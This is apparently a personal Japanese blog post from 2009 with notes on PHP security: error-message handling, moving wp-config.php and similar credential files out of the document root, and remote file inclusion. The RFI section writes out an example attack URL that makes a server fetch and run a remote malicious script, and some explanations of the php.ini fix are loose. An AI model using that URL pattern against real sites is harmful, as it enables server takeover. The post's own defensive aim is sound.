PHPのセキュリティを高めるための個人的メモ

August 19, 2009 – 2:14 pm

公開サーバーを立ち上げる際に、第一に考えなければならないのがセキュリティ。これは、サーバー運営者にとっての社会的責任だろう。私のように個人でサーバーを運営しているものについては、日々、セキュリティ向上に向けての学習・研鑽が必要だ。最近、PHPの使用に係わるセキュリティについてまとめたチュートリアル(http://www.phpfreaks.com/tutorial/php-security)を読んだ。とっても良くまとまっている。メモしておいた。

PHPのセキュリティで考えなければならない項目: 私が読んだチュートリアルは、PHP FreaksなるサイトのTutorial:PHP Securityというところだ。ここでは、PHPにかかわるセキュリティの課題について、以下の7項目が解説されている:

(1)エラーメッセージの取り扱い
(2)SQLインジェクション
(3)クロス・サイト・スクリプティング
(4)重要ファイルはドキュメントルートの外に
(5)リモート・ファイル・インクルージョン(RFI)
(6)セッション・セキュリティ
(7)クロスサイトリクエスト

ここで議論されている項目はいずれも重要。PHPによりプログラミングしようとする場合には、一度は目を通しておかねばならない項目だ。このブログでも、以前、「Webプログラミングとセキュリティ(個人的備忘録)」を書いたが、このチュートリアルには、そこでは触れていない項目、あるいはより詳細な解説がある。以下、これら項目のうち、(1)、(4)、(5)について、個人的に理解したことをメモしておいた。

エラーメッセージの取り扱い: PHPが吐き出すエラーメッセージの表示を公開Web上に表示させることがないようにしなければならない。PHPにおいては、デフォルトで、エラーメッセージはログファイルに書きだすようになっている。エラーメッセージがシステムのログファイルに吐き出されている限り問題はない。

問題はログファイルに直接アクセスできない(例えば、レンタルサーバーなどのような場合)環境にあるときだ。エラーメッセージは、なんらかの障害が発生した場合、障害解決のために必要になる。こうした環境では、エラーメッセージをログファイル上ではなく、Web管理者がアクセスできるエラー出力用ファイルを作成するなどの手立てが必要となる。エラーメッセージをWeb管理者のファイル上に書き込むことを可能にするための設定については、上記したphpfreaksのチュートリアルが参考になる。

読まれて困るファイルは、ドキュメントルートの外に出す: PHPファイルの中に、システム上重要な情報が埋め込まれることがある。例えば、SQL-DBのユーザー名であるとかパスワードだ。我がサイトで使っているブログツールWordPressにおいても、wp-config.php上にこうした情報が埋め込まれている。

通常、Apacheでは、修飾子phpを持つファイルはPHPに送られ、ファイルの生の内容を、直接には、読み取ることはできない仕組みになっている。しかし、なんらかの手段で、こうしたファイルの内容を読み取られてしまうと一巻の終わりだ。

こうした事態を避けるには、重要情報を含むphpファイルは「ドキュメントルート」の外に置けばよい。こうすれば、Webアプリケーションの権限では、これらファイルを直接には読むことはできない。この処置は以下のように簡単にできる。

セキュリティ上重要な情報を含むphpファイル index.php がドキュメントルート直下に置かれている場合、このファイルを下記のよう内容に書き換える:

<?php
require '../public_index.php';
?>

 そうして、index.phpと同等な内容を持つファイルpublic_index.phpをドキュメントルートの外側(この例では、すぐ上)に置いておく。理解を簡単にするため、この場合のディレクトリ構成を示す;

/application
  /controllers
  /models
  /views
/library
/public_html <-- document root
  /index.php
  /media
    /images
    /javascript
    /css
/config
/cache
/tmp
/public_index.php
/logs

WordPressにおいての取り扱い: WordPressにおいては、wp-config.phpを上記の方法を用いてドキュメントルートの外に置くと、動作しなくなるので注意が必要だ。

WordPressでは、うえで述べたような手続きを用いないで、単純にドキュメントルートのひとつうえにwp-config.phpを移動すればよい。WordPress Codexでは、次のように説明されている;

注:Version2.6からwp-config.phpファイルをWordPressディレクトリの真上のディレクトリに移動できるようになりました。

WordPressが自動的に、wp-config.phpがドキュメントルートの真上に移動されていることを認識するようにされているわけだ。従って、以下のコマンドをドキュメントルート上で実行すればよい。

mv wp-config.php ../.

リモート・ファイル・インクルージョン(RFI): RFIと呼ばれる手段でサーバー内にアタックを目的とするファイルを埋め込むことが可能だというのだ。これまで、こんな攻撃方法があるとは気が付かなかった。

今、phpスクリプト http://site.com/index.phpがあるとし、このスクリプトがURLクエリーを読み込む構成となっており、これにアクセスをするユーザーのスクリプトhttp://example.com/malice.phpがあるとする。このmalice.phpをindex.phpを介して以下のようなかたちで、http://site.com上で動作させ、悪意を持った行為を可能にするファイルをディスク上に書き込むことができる:

http://site.com/index.php?page=http://example.com/malice.php

ひとたびファイルをディスク上に書き込まれると、Webアプリケーションと同一の権限で、書き込んだファイルを振舞わせることが可能だ。Webサーバーは簡単に乗っ取られてしまう。

こうした事態をさけるための最も簡単な方法は、php.iniの設定で外部ファイルの書き込みを禁止しておけばよい:

allow_url_fopen off

なんらかの理由で、外部ファイルの書き込みを許す必要がある場合、URLクエリーの読み込みを行うスクリプト上でこうした攻撃が行われないための手続きを持ち込んでおく必要がある。

最後にひとこと注意:以上の記述は、私が理解する範囲で書いたものである。従って、適用にあたってはphpfreaksのサイトのチュートリアルを注意深く読むなどするようして欲しい。


  1. 1 Trackback(s)

  2. Aug 23, 2009: PHPのセキュリティを高めるための個人的メモ(補足) | Yama's Memorandum

Post a Comment